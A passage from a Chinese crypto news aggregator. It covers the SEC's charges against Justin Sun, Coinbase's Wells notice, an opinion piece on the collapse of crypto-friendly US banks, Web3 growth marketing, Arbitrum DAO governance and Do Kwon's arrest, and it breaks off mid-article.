投资者的财富（包括未来利润的实现）都与 Sun 和 Tron 基金会有巨大关联。并且，鉴于由 Sun 和 Tron 基金会组织的大量的推广，TRX 投资者有理由相信他们的命运将与 Sun 和 Tron 基金会息息相关。（3）所有 TRX 投资者的预期利润也很大程度上取决于 Sun 和 Tron 基金会为开发 Tron 协议所做的努力，以及使 TRX 可用于在虚拟资产交易平台上进行交易，向潜在投资者推广 TRX，从而提高所有持有人的二级市场价格。（4）TRX 投资者依据 Sun 和 Tron 基金会的推广，存在对于投资 TRX 的合理预期。 Sun 和 Tron 基金会的以下行为构成发行和出售未注册的证券：（1）Sun 和 Tron 基金会在注册在美国的虚拟资产交易所向公众（包括美国公众）销售了超过价值 3.19 亿美元的 TRX；（2）通过完成线上赏金任务“Bounty Program”，以公众向 Torn 平台提供内容并推广作为对价（Valuable Consideration），向参与者发放 TRX，至少包括了一名美国公众。上述行为均未屏蔽美国公众。 3.2 Sun 及其关联方以“投资合同”的形式推出 BTT，并向公众发行和出售未经注册的 BTT 证券 2018 年 6 月，Sun 收购了 BitTorrent（一家注册在美国旧金山的公司），并将其改名为 Rainberry，纳入到 Tron 生态。此后，Rainberry 于 2018 年 10 月成立了 BitTorrent 基金会。在完成对 Rainberry 的收购之后，Sun 全权掌握了 Rainberry 及 BitTorrent 基金会的宣传渠道及账户，之后以便以 Rainberry 及 BitTorrent 基金会的名义共同宣传推广并发售 BTT（Rainberry 的代币）和 TRX。 2019 年 1 月，BTT 通过首次交易所发行上市（IEO），并向公众发布了白皮书。与 TRX 相同，Sun 在 IEO 之后以“投资合同”的形式积极推动 BTT 的二级市场交易，如在社交媒体上表明投资 BTT 的潜在回报，持续宣传推广 BTT 及 TRX 的价值，宣传 BTT 的投资回报 ROI，并将 BTT 及 TRX 持续上架不同的交易所平台，更重要的是 Sun 的这些宣传推广活动允许美国公众能够接触、购买到 BTT。 SEC 认定 Sun 及其关联方的行为构成发行和出售未经注册证券的逻辑如下： （1）所有 BTT 投资者，包括那些为 BTT 提供非现金或虚拟货币价值的人资产（2）与 Sun 及其关联方一起投资于一项共同事业。（3）BTT 投资者的财富（包括未来利润的实现）都与 Sun 和 Tron 基金会有巨大关联。（4）BTT 投资者的预期利润也很大程度上取决于 Sun 及其关联方努力开发 BitTorrent 协议，以及 Sun 及其关联方宣传推广的内容，包括提高公众对 BTT 和 TRX 的兴趣，努力使 BTT 可用于虚拟资产交易平台上的交易，以及向潜在投资者推广 BTT，从而为所有投资者提高其二级市场价格。 Sun 及其关联方的 9 种行为构成发行和出售未注册的证券，包括：以持有 TRX 换取 BTT 的月度“空投”、参与线上推广活动“bounty program”以换取 BTT，包括 Discord 空投、AMA、线上设计比赛活动等形式。这些行为目的都是以公众向提供内容并推广作为对价（Valuable Consideration），向参与者发放 BTT，至少包括了一名美国公众。上述行为均未屏蔽美国公众。 3.3 Sun 被指控参与 TRX 的操纵交易 2018 年 2 月到 2019 年 2 月期间，Sun 领导了一个由 Tron 基金会员工和 Rainberry 员工组成的团队，通过受控账户之间的洗盘（Wash Trading）交易来增加 TRX 的交易量。这些交易使 TRX 的交易变得活跃，目的是诱导他人购买或出售 TRX，并使 Sun 和 Tron 基金会在更高的价格，或更容易出售 TRX，同时保持其价格的稳定。 根据判例 SEC v. Williky，上述洗盘交易是欺诈性的，因为它造成了“对市场活动的错误认识，无法反映证券交易的真实供求关系”。更严重的是，Sun 及其团队至少在一家美国注册的交易所操作上述行为。 SEC 指出，Sun 和团队在交易所平台上开立多个代名账户，并由 Sun 提供自身的 TRX，并指挥团队进行洗盘操作。从 2018 年 4 月至 2019 年 2 月间，Sun 及团队进行了至少 609790 笔洗盘操作，平均 2449 笔一天。SEC 指出 Sun 在明知的情况下，直接指挥团队进行这些没有任何经济目的，没有任何所有权变动的洗盘操作。 3.4 Sun 组织策划了一场名人兜售活动并对公众隐瞒 从 2021 年 1 月开始，Sun 就向 Mahone Way 等名人（每位名人都在推特拥有超过 100 万粉丝）以支付报酬的形式要求他们在社交媒体上帮助推广 TRX 及 BTT。Sun 通过离岸账户向名人支付费用，并让其员工确保名人不对外披露他们是受雇对 TRX 及 BTT 进行推广。 这就是存在问题的地方，通过 Sun 的种种行为，对公众造成了这些名人是对 TRX 或 BTT 的独立投资的假象。Sun 在面对公众质疑时，还发推表示：“Tron 基金会没有参与或并不知情。”   ——END—— 本文仅供学习、参考，希望对您有所帮助，不构成任何法律、投资意见，not your lawyer，DYOR。 REFERENCE: [1] SEC Charges Crypto Entrepreneur Justin Sun and his Companies for Fraud and Other Securities Law Violations https://www.sec.gov/news/press-release/2023-59 [2] SEC v. Justin Sun, et al. https://downloads.coindesk.com/legal/justin.PDF [3] Framework for“Investment Contract”Analysis of Digital Assets https://www.sec.gov/corpfin/framework-investment-contract-analysis-digital-assets [4] How NOT to Promote Your NFT or Metaverse Project: Part 3 https://gulovsen.io/how-not-to-promote-your-nft-or-metaverse-project-part-3/  ( 15 min )
    以太坊基金会将Shapella升级漏洞赏金翻倍升至50万美元
    PANews 3月24日消息，据The Block报道，以太坊基金会在开发者会议上表示将 Shapella 升级漏洞赏金翻倍升至 50 万美元，用于识别相关漏洞。此外，以太坊基金会的开发工程师 Parithosh Jayanthi 表示，一旦最终的客户端软件版本发布，开发人员将启动一个最终的主网影子分叉来测试这些版本。 此前报道，以太坊主网预计于UTC时间4月12日22:27:35（北京时间4月13日06:27:35）激活上海（Shapella）升级。  ( 4 min )
    “加密合规灯塔”Coinbase遭狙击，或陷入一场持久“监管拉锯战”
    原文：《Coinbase 面临 SEC 指控，双方或陷入「监管拉锯战」》 作者：Mary Liu 在美国证券交易委员会（SEC）向加密交易所 Coinbase 发出 Wells 通知（Wells Notice）暗示可能采取执法行动后，Coinbase 股票 COIN 周四在美股早盘交易中从 80 美元跌至 65 美元，跌幅多达 20%。该通知是继 2 月份稳定币发行商 Paxos 后，SEC 今年向加密行业参与者发出的第二次警告。 虽然这不是 SEC 第一次发布 Wells 通知或对加密货币公司提出指控，但此举尤为重要，因为 Coinbase 是美国最大的加密货币交易所，可以说是监管最严格的交易所。 Wells Notice 在这里是指 SEC 发出的正式通知，通知收件人该机构正计划对他们采取执法行动，在对潜在的证券法或监管违规行为的调查结束时，监管机构会发出 Wells 通知函。该通知并不意味着监管机构一定会采取执法行动，Coinbase 需在 3 月 29 日之前告知 SEC 是否打算反驳该机构的调查结果。 Coinbase 在其博客文章中写道，该通知可能涉及公司现货市场、质押服务、Coinbase Earn、Coinbase Prime 和 Coinbase Wallet 等各个方面。该公司表示：「今天的 Wells Notice 没有提供很多信息供我们回应，美国证券交易委员会的工作人员告诉我们，他们已经发现了潜在的违反证券法的行为，但仅此而已」。 加密行业的监管不确定性越来越严重，SEC 没有为加密货币制定监管框架，而是继续仅通过执法来监管。自 FTX 崩溃以来，SEC 针对加密行业的动作越来越密集。在 SEC 主席 Gary Gensler 的指导下，该监管机构已对包括 Gemini、Genesis、波场 TRON 创始人孙宇晨、Do Kwon 和加密交易所 Kraken 在内的多家头部参与者采取执法行动。 2 月，交易所 Kraken 与 SEC 就其质押即服务计划相关的指控达成和解，导致其关闭了在美国的质押业务并支付了 3000 万美元的罚款，此前，Coinbase 前产品经理 Ishan Wahi 承认了与电汇欺诈相关的刑事指控。 Coinbase 高管，包括创始人兼首席执行官 Brian Armstrong 公开反对 SEC 的过度执法行为，Coinbase 首席法务官 Paul Grewal 在一份声明中表示，仅在过去九个月里，该公司就与 SEC 会面了 30 多次，但一直没有结果，该公司合规开展业务，已经拒绝了超过 90% 的代币上市申请。 Grewal 表示，Coinbase 正在寻求更清晰的监管。他在声明中表示：「告诉我们规则，我们会遵守，给我们一个实际的注册路径，我们将注册我们业务中需要注册的部分。」 该消息公布后，Oppenheimer 分析师 Owen Lau 将 Coinbase 的股票评级从「跑赢大盘」下调至「良好」，分析师还提到了本周白宫发布的总统经济报告，该报告批评数字资产生态系统正在给消费者、金融体系和环境带来许多问题。Lau 表示，他越来越担心「执法行动的公平性和加密生态系统在银行系统似乎有限且不断缩减的支持下发展的能力。」 Coinbase 最大的支持者之一 -- 木头姐 Cathie Wood 旗下 Ark Invest，早在 SEC 通知之前就抛售了一大部分持股。 根据提交 SEC 的一份文件，3 月 21 日，ARK 以 1,350 万美元的价格从其 ARK 金融科技创新交易所交易基金 (ARKF) 中出售了 160,887 股 COIN，这是 ARK 今年首次出售该股票，此举正值 Coinbase 股价反弹，达到 2020 年 9 月以来的最高水平。 加密一直是木头姐近年来关注的主要领域之一，Ark Invest 是多家知名加密公司的主要投资者，包括 Coinbase、Grayscale Bitcoin Trust 和 Square。Wood 出货是巧合还是提前得知内幕消息？该举动引发了投资者猜测她可能对加密市场持短期看跌态度。 然而，一些专家认为，木头姐的举动可能只单纯的对投资组合再平衡，不是对加密市场失去了信心，Ark Invest 以大胆和非常规的投资决策而闻名，最近出售 Coinbase 股票可能只是其调仓策略的一部分。木头姐仍然是比特币的坚定拥护者，并多次表示她相信数字资产是金融的未来。在最近接受彭博社采访时，她预测比特币的价格在未来五年内可能高达 50 万美元。 Jefferies 分析师在一份报告中表示，Wells 通知是一个「不祥之兆」，更多山寨币将面临上市申请被拒的风险，这将严重影响该公司的创收能力，分析师估计大约 35% 的净收入可能面临风险，具体取决于 SEC 的行动方案。 Oppenheimer & Co. 分析师 Owen Lau 在接受彭博社采访时表示，SEC 的警告「涵盖了几乎所有内容——利息收入除外」，这使得该公司面临极大的挑战性。SEC 的举动也加剧了监管机构与数字资产公司之间的长期争端，可能是对 Coinbase 和整个行业采取更多执法行动的先兆。 Delta Blockchain Fund 创始人 Kavita Gupta 发推表示，如果 Coinbase 输掉了与美 SEC 的斗争，「这意味着美国的加密货币行业已经结束」。 在美国，加密资产是商品还是证券一直没有明确定义，商品期货交易委员会（CFTC）主席将以太坊称为证券，但 Gensler 似乎不这么认为，国会尚未通过立法解决这个问题。 如果流通中的绝大多数加密货币被 SEC 认定为证券，高合规成本可能会让一些加密初创企业望而却步，并损害机构对本已饱受打击的加密行业的兴趣。 前 SEC 律师 Marc Fagel 在推文中评论称，如果进入诉讼，可能会引发一场在加密行业几乎没有先例的法律「拉锯战」，还可以一劳永逸地解决一个困扰已久的问题：除了比特币之外的所有数字资产是否都是未注册证券。Fagel 认为，虽然 Ripple 与 SEC 案件接近尾声，但「Coinbase 一案可能会成为加密时代的决定性案例。解决任何潜在诉讼可能需要数年时间，但关于加密资产状态的一些清晰度指日可待」。 KeyBanc Capital Markets 分析师 Alex Markgraff 写道，轻的结果是，Coinbase 交罚款认怂，但在最坏的情况下，「Coinbase 和 SEC 之间可能会出现一场旷日持久且代价高昂的法律纠纷，从而导致某种形式的禁令、没收财产或民事处罚」。  ( 5 min )
    美国政府是否主导了加密友好银行倒闭？
    作者：Nic Carter | Pirate Wires 编译：Felix | PANews 注：本文有删改 美国金融体系陷入混乱，一系列历史性的银行倒闭，其中最引人注目的是硅谷银行。但问题实际上开始于几天前，在加密友好型银行Silvergate倒闭之后，最后一家对加密货币友好的银行Signature在尚不清楚的情况下被关闭，而且由于某种原因基本上没有报道。公认的说法是，他们做了“糟糕的赌注”，然后输了，或者他们无法应对提款的储户。但是，拼凑起来的另一种事件版本要邪恶得多——而且令人信服。这些银行，尤其是Signature，似乎是一场旨在打压服务于加密行业的银行的受害者。 2023年1月，拜登政府对加密货币的战争开启了新篇章。监管机构对美国加密行业的打压急剧升级： 最令人担忧的是，现有加密银行的处境已经从不稳定变成了危急。今年1月，银行实际上被禁止在公共区块链上发行稳定币，禁止直接持有加密资产，并且不鼓励为加密客户提供服务。监管机构在去年11月口头指导对加密货币友好的银行将其对加密货币公司的敞口降至存款的15%。 任何胆敢与专注于加密公司合作的银行都会发现自己被埋在堆积如山的文件中，并面临着来自监管机构的质询。除开政治”阴谋论“，大量的公开证据也表明Silvergate和Signature并不是“自杀”——他们是被“处决”的。 很多分析人士已经详细解释了Silvergate是如何倒闭的。简而言之，它接受加密公司的存款，在利率较低时将这些存款投入到期限较长的债券中，在利率上升时遭受这些债券的损失，并在加密客户要求撤回资金时被迫实现这些损失。利率上升和加密货币抛售的结合——导致客户集体撤资，这让人难以承受。 但这里还有一个政治潜台词。现在大多数银行的债券投资组合都面临着按市值计价的损失，但他们并没有面临客户的挤兑。事实上，Silvergate在2022年客户资产赎回70%的情况下成功幸存下来，直到2023年这些资产被消灭。Silvergate之所以走到了尽头，是因为在22年的加密信贷危机结束后，剩下的储户被哄骗和胁迫，撤回了他们的资金。储户不会突然抛弃银行。他们需要一个很好的理由。在这种情况下，有针对性的监管压力和政治欺凌结合在一起达到了目的。 首先，Silvergate在根本上处于脆弱的地位，因为监管机构劝导银行不要与加密货币打交道。因此，加密公司在银行业务方面几乎没有其他选择，Silvergate作为主要的加密友好银行，加密公司的存款比重大。这种结构性漏洞是监管机构对此类银行进行扰乱的直接原因。通常，一个行业会有各种各样的银行提供服务，从而降低任何一家银行在该行业的风险敞口。但由于人们普遍不鼓励银行接触加密货币，存款涌向了少数愿意承担风险的银行。 其次，银行监管机构，尤其是联邦存款保险公司(FDIC)，在今年年初大幅提高了对这些银行的监管水平，这已经不是什么秘密。此外，在FTX事件之后，启动了几项调查，旨在将Silvergate与FTX和Alameda的不当行为联系起来。联邦调查人员没有对SBF在整个银行体系中的关系进行广泛调查，而是采取了不同的策略，专门针对Silvergate，并断言该银行在此事中负有责任，认为Silvergate是同谋，而不仅仅是受害者。不出所料，储户开始抛弃它们，以降低风险。 最后，也许是最重要的，在22年第四季度和23年第一季度，Silvergate依赖于联邦住房贷款银行(FHLB)的预付款来兑现提款。在第四季度，Silvergate从FHLB预支了43亿美元，以便应付资金流出。然而，在3月初，Silvergate突然偿还了全部预付款项，并迅速宣布将进行清算，引发了更广泛的银行挤兑。没有人知道Silvergate为什么被踢出FHLB。 在Silvergate倒闭之后，参议员伊丽莎白·沃伦(Elizabeth)和谢罗德·布朗(Sherrod Brown)庆祝了Silvergate的覆灭。从存款人的角度来看，这将是一个提取资金的信号。如果有影响力的国会议员支持以加密货币和科技为重点的银行倒闭，你为什么要把资金留在那里? 这已经不是国会议员第一次煽动银行挤兑了。美国储蓄机构监管局（Office of Thrift Supervision）认为，查克·舒默(Chuck Schumer)对2008年印地麦克银行（Indymac）的倒闭负有责任，那是当时美国历史上第二大银行倒闭案。舒默曾在参议院银行委员会（Senate Banking Committee）任职，他给银行监管机构写了一封信，质疑IndyMac的诚信。12天后，IndyMac遭遇了致命的挤兑。在这两起案件中，参议院银行委员会中资深参议员都利用舆论攻击一家银行，而这家银行随后很快就倒闭了。 如果这些银行的消亡可以类比为一个谋杀谜案，Silvergate是被缓慢而秘密地用毒药杀死，而Signature则是在大街上在光天化日之下被枪杀。3月12日周日，纽约金融服务中心（NYDFS）突然将Signature （SBNY）送进了FDIC的破产接管程序。截至2022年上半年，他们有1100亿美元的存款，其中约20%来自专注于加密的公司。他们还管理着流行的Signet产品，该产品与Silvergate的SEN类似，允许他们网络中的加密公司全年全时段的结算法币转账。由于区块链一直在运行和运转，依靠传统的银行时间进行法币结算会导致问题。特别是在Silvergate消亡后，Signet被定位为重要的加密基础设施。 Signature是一家相当古老的纽约银行，主要为房地产提供服务。它的财务状况不像Silvergate、SVB或其他陷入困境的地区性银行那样惨淡。据悉，周日Signature被移交给联邦存款保险公司时，联邦存款保险公司感到惊讶。众所周知，纽约金融服务中心长期以来一直对加密货币抱有敌意。银行危机是摧毁最后一家为加密公司提供服务（并运营着重要的法币结算基础设施）的银行的完美借口。 唯一的问题是：根据我们所知，Signature被清算时似乎并没有资不抵债，43亿美元的股东价值蒸发了。众议院金融服务委员会前主席巴尼·弗兰克在接受《纽约》杂志的采访时表示。关闭是一次政治打击，主要是为了向加密行业传递一个信息。通常对加密货币持谨慎态度的《华尔街日报》编委会认为，弗兰克的声明令人十分担忧，于是随后发表了两篇社论。随着更多数据的出现，即使是沉默寡言的《华尔街日报》也开始相信Signature是一场政治处决。 Signature与First Republic的区别对待非常能说明问题。两家银行的财务状况相似或更糟，但都有时间自救，而Signature是在SVB破产后的一个周日晚上被接管的。在SVB崩溃后，First Republic获得了筹集资金的时间，并获得了300亿美元的救生资金。一位熟悉两家银行财务状况的银行家谈到First Republic时表示：“与Signature相比，它是一种双重标准——在我看来，这毫无疑问。” Signet和Signature加密业务的后续发展几乎证实了我们的怀疑。据两位消息人士透露，路透社3月16日报道，如果Signature被出售，将不得不剔除他们的加密业务。FDIC后来否认了这一点，但当FDIC于3月19日周日宣布Signature将被纽约社区银行（NYCB）的Flagstar银行收购时，加密业务并不包括在内。 自1971年我们切断与黄金的联系以来，在最近这场金融危机中，比特币系统焕发出新的活力。比特币的价值主张从未如此明显——比特币是一种资产，它不是任何人的负债，可以真正由个人自行拥有和持有。此外，Silvergate的SEN和Signature的Signet是为加密货币公司提供全年全时段美元清算的必要基础设施。由于区块链不间断地结算，当它们与朝九晚五的银行业竞争时，就会出现摩擦。每个人都知道，任何一家在加密领域成为领导者的银行都将面临与Silvergate和Signature相同的命运。因此，少数敢于为加密货币公司提供银行服务的银行是秘密运作的。由于FDIC对加密存款设定了15%的人为门槛，没有一家银行能够再现SEN或Signet的网络效应。除非有一家大型银行介入（目前还没有一家银行介入）。 目前，需要银行业务的加密公司比以往任何时候都更艰难。FDIC现在要求银行在开展任何新业务之前单独经营所有新的加密货币业务。许多银行家都想帮助这些潜在的加密客户，但由于口头上的15%门槛（很可能会缩小到零），他们只能将一定比例的存款分配给该行业，所以他们必须挑选他们能够支持的公司。  ( 4 min )
    从 Web2 看 Web3 公司市场增长：如何正确使用“黑客增长”？
    Web3 市场逐渐升温，最明显的变化是逐渐攀升的资金正不断涌入该领域。据不完全统计，自 2023 年初开始截至 2 月末，已经发生超过 220 起融资，最高金额 7000 万美元；融资金额与次数正波动上升。 随着大笔资金连续不断地注入，投资者对整个市场的期望值也正逐渐增高，Web3 公司将不得不全力以赴实现更高增长。在此期间，以下几个问题总是不可避免： 尽管 Web3 已经发展多年，但当前的市场策略，包括品牌曝光和用户增长，均处于非常早期阶段——整个行业依然更加重视技术研发，而非市场增长。同时，作为新生领域，其商业模式以及市场模式还属于“摸石头过河”阶段。 所谓，殊途同归。不管是 Web2 还是 Web3，品牌的曝光和用户的增长，最终的落脚点还是用户使用产品。因此，或许我们可以从 Web2 的市场营销策略中探寻一些值得借鉴的策略。 在传统互联网行业中，常见的市场增长策略，比如当前一些讨论中的 MPCM 法则，即， *The 4 Growth Frameworks You Need to Build a $100M Product 当然，该策略更偏向于产品调研、构建与开发，比较属于上层战略型方案，对于用户增长执行层面，实际上指导意义不算至关重要。真正对市场曝光和用户增长上有指导意义的，编者认为“增长黑客”策略当仁不让，且最容易掌握与执行。 增长黑客，本质上是一种精准的、低成本、高效率的营销方式，其核心在于： 最典型的案例莫过于网红主播带货。通过“福利反馈”、“粉丝低价”、“折扣福利”等营销手段，向自己的观众精准投放产品广告，并通过忠实观众的宣传、转发，进一步快速增长自己的粉丝数量，实现正向循环。 比如中国淘宝主播李佳琪。有媒体统计，2022 年双十一第一天李佳琦带货 GMV 为 215 亿，尽管后续被美 ONE 否认。但有业内知情人士透露，当晚 10 点多，其直播间的 GMV 就已经破了百亿，直播间的同时在线人数有几百万人。 那么，Web3 是否能够使用“增长黑客”策略？又如何与去中心化的特性进行结合呢？ 在此之前，我们需要了解 Web3 的营销增长路径。 Lattice Capital 对 Web3 项目制定的增长手册中提出：合作伙伴关系、用户所有权和代币驱动的增长池是 Web3 增长战略的支柱。 *The Web3 Growth Playbook 结合以上 3 点，Web3 的“增长黑客”模式已经初露端倪：通过发放代币激励的模式，吸引用户加入社区，并赋予各种对应角色与权利，以提升用户留存及忠诚度，并促进自主宣传与吸引，进而持续实现用户增长。与此同时，与更多项目开展此类合作，也将无限放大增长效应。 案例：ENS 空投（数据统计截至写文时） ENS 原计划向符合的用户地址空投 25M 代币，最终被 Claim 19.6M，折合 $2.75B（按 $14.00 算）。 空投前 空投后 ENS注册量 403,873 2,786,941 如果粗略地按一年及最低注册价格为单位，那么截至目前，新增的注册已经实现了 2.8M*$20=56M 的新增收益。无论是数量还是收益方面，都远超 Web3 生态中的绝大部分项目。 然而，在组织此类活动时，项目还需要做好更多充足的准备，例如： 解决以上问题，将要花费项目更多的时间与人力成本。这也是近 2 年来，任务型营销工具平台得到飞速增长的原因。 据 Safary 统计，当前整个增长赛道共计已诞生超过 160+ 项目，且新项目正在源源不断的进入。其中，能够成为 Web3“黑客增长”的任务型工具，有Galxe、QuestN、TaskOn以及Crew3等等。 其中，近期在推特搜索#Giveaway 后出现的相关活动中，则以下方工具较多： Tool Galxe QuestN TaskOn 侧重点 用户ID 用户增长 用户增长 原生Token GAL —— —— 支持公链 14条 7条 22条 活跃用户数 7M+ 300K+ 150K+ 真实用户比率 73.84% 64.08% 92.09% Twiter粉丝数 700K+ 100K+ 100K+ 当然，如果想综合使用，那么用户的重复率也将是一个必须考察的指标。根据@SunnyZ_Crypto 的统计，我们可以得到如下图表： TaskOn 用户与其它各平台用户重叠度最少，可以与其他平台搭配使用； Galxe，Port3 和 Link3，用户重叠度均比较高，尽量减少三者的搭配使用； Quest3 与 Pyme，Link3，Trantor，TaskOn 重叠较少，可配合使用。 当然，无论在传统互联网行业，还是 Web3 中，“黑客增长”并不是项目营销增长的唯一核心策略，如何留住用户，如何提高忠诚度以及如何激励忠实用户促进裂变增长等等，同样也是营销增长的一大课题。而实现的路径，同样可以在 Web2 中找到，这个将是我们的下一个话题。  ( 6 min )
    Arbitrum DAO治理参与指南
    随着 Arbitrum 的第一份改进提案已在社区论坛上发布，Arbitrum DAO 的治理流程逐渐完善。本文将概述 Arbitrum 的治理、Arbitrum DAO 以及发起提案和投票的过程。 在开始之前，一些相关概念： AIP : Arbitrum 改进提案 AIP-1（Arbitrum 改进提案 1）：Arbitrum 提案框架 Arbitrum DAO 管理的链：Arbitrum One 和 Arbitrum Nova 链以及 Arbitrum DAO 授权的任何其他链 DAO 国库：42.78% 的 $ARB 被保存在由 Arbitrum DAO 和 Arbitrum 基金会通过链上投票机制直接管理的智能合约中。 治理链：Arbitrum DAO 批准的链，由 $ARB 代币管理 非治理链 : 任何 Arbitrum DAO 批准的不受 $ARB 代币管理的链 像 Arbitrum One 这样的 Arbitrum 链有一个“链所有者”的概念。“链所有者”相当于是该链的管理员，负责对系统进行更改。更具体地说，“链所有者”可以修改核心系统参数、暂停交易，以及最重要的是更新定义和执行核心协议的任何合约。 显然，能够任意改变 Arbitrum 链参数的能力，使得“链所有者”的权力非常强大。因此，Arbitrum 有必要让这个角色更加去中心化。 Arbitrum 通过空投治理代币 $ARB，将所有权分散给 Arbitrum 生态系统中的各方，包括开发团队、投资者、协议和用户。所有持有 $ARB 的人组成了 Arbitrum DAO，用来管理 Arbitrum 所有链及其对应的链所有者”。 Arbitrum DAO 将能够发起 Arbitrum 改进提案（AIP），成员可以对其进行投票，如果提案通过，“链管理者”会将其变为现实。 Arbitrum DAO 治理合约在链上实施，DAO 成员可以使用 $ARB 对 AIP 进行投票。 Arbitrum DAO 有一个内置的资金合约，也就是“国库”，用于协议的持续开发和维护。DAO 成员可以就如何使用国库资金提出建议并进行投票。 Arbitrum DAO 还有一个内置的安全机制，“安全委员会”。安全委员会是一个实体，负责确保 DAO 及 Arbitrum 链的安全性和完整性，可以在紧急情况下绕过缓慢的投票过程采取快速行动。安全委员会的成员由 DAO 通过半年一次的选举产生。 • 与以太坊保持一致：Arbitrum 将自己视为以太坊社区中的参与者和建设者； • 可持续：确保协议的可持续性，始终推动有关技术、经济和资源分配的决策，而不是短期收益； • 安全：在考虑任何协议变更时，应重点权衡系统的安全性； • 包容：社区应该对所有人开放和欢迎； • 以用户为中心：为了所有用户的共同利益； • 中立和开放：投票治理不是为了“定胜负”，而是促进 Arbitrum 链上的开放、创新、互操作、用户选择和良性竞争。 1.$ARB 代币持有者：有能力针对 Arbitrum DAO 批准的链进行提议、投票和实施的人。 2. 董事：由于 Arbitrum 基金会位于开曼群岛，因此需要至少1名董事负责管理和运营（特别是与合同安排相关的，例如代表基金会和签署合同）。 3. 安全理事会：9-12 多重签名钱包的 12 名成员，能够执行 Arbitrum DAO 的投票结果以及紧急行动，负责维护 Arbitrum 链。 4. 特别补助：由 Arbitrum 基金会派发。 宪法性 AIP 包括： • 修改 DAO 规则 • 软件更新：安装或修改任何链上的软件； • 核心：采取任何需要“链所有者”的操作； • 新链批准：批准一条新链。（治理链和非治理链） 非宪法性 AIP 包括：  • 资金：提议如何从 DAO 国库支出或分配资金； • 信息：向社区提供指导或信息。 Arbitrum 与 Internet Computer 一样，治理完全在链上进行，具有约束力。而其他一些协议通常让用户在 Snopshot 上进行投票，然后委托给多重签名的开发者来实施更改。 不过，这种方式并不总能确保所有的改进建议最终都能得到实施，相比集中实施，效率较低。 第 1 阶段——临时检查（1 周）： 在社区论坛上提出建议，并讨论/辩论 1 周。 提案者可以在 Snopshot 上建立一个投票，以衡量社区对提案的兴趣。 第 2 阶段——正式提交 AIP（3 天）： 通过临时检查后，提案者通过 Arbitrum 上的治理合约提交 AIP。 提案者必须拥有一个至少委托 500 万个 $ARB 的地址。 第 3 阶段——DAO 对 AIP 进行投票（14-16 天）： Arbitrum DAO 将能够直接在链上对提交的 AIP 进行投票。 如果满足以下条件，则 AIP 将通过： • “赞成”票为多数（阈值 1）； • 对于宪法性 AIP，至少 5% 的 $ARB 需要投“赞成”票；对于非宪法性 AIP，至少 3%。 如果 API 通过了，则进入第 4-7 阶段；反之，AIP 将进入第 4 阶段，然后进入第 7 阶段。 第 4 阶段——L2 等待期（3 天）： 第 3 阶段后，有 3 天的等待期，在此期间，未通过的 AIP 可以提取资金； 第 5 阶段——启动并完成 L2→L1 消息（至少 7 天）： 在以太坊上发送 L2-to-L1 消息，表明 AIP 已通过。  第 6 阶段——等待期 （3 天）： 确保投票用户有时间在 AIP 生效前取款。 第 7 阶段——执行和实施 AIP 平均而言，宪法性 AIP 的流程从临时检查到最终执行大约需要 37 天，而非宪法性 AIP 通常需要 27 天。 如果没有时间或资源参与到 DAO 的治理中，你可以通过将你的投票权委托给其他人来表达你的意见。 务必选择一位与你的价值观一致，并且你信任的人，这一点非常重要。 要委托投票权，你需要一个持有 $ARB 的以太坊钱包。设置好钱包后，可以按照以下步骤操作： 转到 Tally 上的 Arbitrum DAO 页面，这是 Arbitrum DAO 使用的去中心化治理工具。 点击“连接钱包”，将你的钱包连接到 Tally。 点击顶部菜单上的“委托”按钮。 通过在搜索栏中输入以太坊地址或名字来搜索你想要委托的代理人。 单击你选择的代理人旁边的“代理人”按钮。 在出现的弹出窗口中单击“委托”按钮以确认委托。 等待交易在 Arbitrum One 网络上得到确认。 总体而言，Arbitrum DAO 是一个强大的工具，可以促进 Arbitrum 生态系统的去中心化治理和社区管理。通过持有 $ARB 代币并参与治理过程，个人可以对 Arbitrum 乃至以太坊的未来产生直接影响。 随着  $ARB 空投落地，Arbitrum 的治理权将正式转移到 Arbitrum DAO 手中，正式迈向去中心化治理时代。 风险提示： 根据央行等部门发布的《关于进一步防范和处置虚拟货币交易炒作风险的通知》，本文内容仅用于信息分享，不对任何经营与投资行为进行推广与背书，请读者严格遵守所在地区法律法规，不参与任何非法金融行为。  ( 6 min )
    Do Kwon时代，彻底结束
    原文：《前韩国加密之王被抓，韩美均寻求引渡》 作者：Jaleel 3 月 23 日，黑山内政部长 Filip Adzic 在其社交平台宣布，Terraform Labs 创始人 Do Kwon 在黑山被捕。黑山当局称，Do Kwon 当时试图使用伪造的哥斯达黎加旅行证件飞往迪拜。自去年 9 月韩国当局对 Do Kwon 发出逮捕令，至今近 6 个月时间，Kwon 的行踪一直是时隐时现，仅是零星地通过各种采访出现在公众视野中。BlockBeats，将 Do Kwon 自通缉到被捕的过程进行了简单梳理，回顾了这位昔日加密明星的「落网过程」。 2022 年 3 月 29 日，LUNA 正值鼎盛时期，前福布斯高级编辑、Unchained 主理人 Laura Shin 就 Luna 生态对春风得意的 Do Kwon 进行了采访。播客中，Do Kwon 承认在市场需求发生极端变化的情况下，LUNA 会面临着死亡螺旋的风险。 该集播客播出 1 个月后，TVL 近 200 亿美元的 Luna 生态崩盘。Luna 受害者前往 Do Kwon 住所发现家中无人，Kwon 行踪开始成谜。 2022 年 8 月 16 日，Do Kwon 在新加坡接受了 Coinage 主理人 Zack 对他的采访。这是 Luna 事件后 Do Kwon 首次面对镜头。采访中，Do Kwon 表示自己不认为 Luna 和 UST 事件涉及道德问题。 2022 年 9 月 14 日，韩国警方正式对 Do Kwon 发出逮捕令，国际刑警组织也发出了红色通缉令，但当时他本人可能已经不在新加坡，Do Kwon 的被通缉之旅就从这时正式开始了，警方开始在各国寻找他的踪迹和下落。 2022 年 10 月 18 日，Do Kwon 再次参与 Laura Shin 的播客录制，这也是 Do Kwon 最后一次的公开露面。访谈中，Laura Shin 非常直接得询问了 Do Kwon 的位置，但 Do Kwon 拒绝透露，并称自己离开新加坡并不是因为 5 月发生的崩盘事件，而是因为他感觉自己的人身安全受到了威胁，甚至有记者和一些人闯入他的公寓楼。（BlockBeats 注，更多关于 Laura Shin 与 Do Kwon 的采访内容请阅读《对话 Do Kwon：指控、追捕与 Terra 创始人的信仰和忏悔》） 在 2022 年 12 月，曾有知情人士爆料说，Terra 创始人 Do Kwon 藏身于塞尔维亚，于是韩国司法部与塞尔维亚政府接触，合作调查 Do Kwon 在塞尔维亚境内是否有特别协助者等。Do Kwon 在进入塞尔维亚后，他的链上钱包数据在逃期间首次被捕获到，11 月 8 日把当时价值近 19 万美元的 9.64 枚 BTC 从 LFG 钱包转移到 Binance 钱包，有将比特币兑换成美元等现金的行为。 2023 年 2 月 7 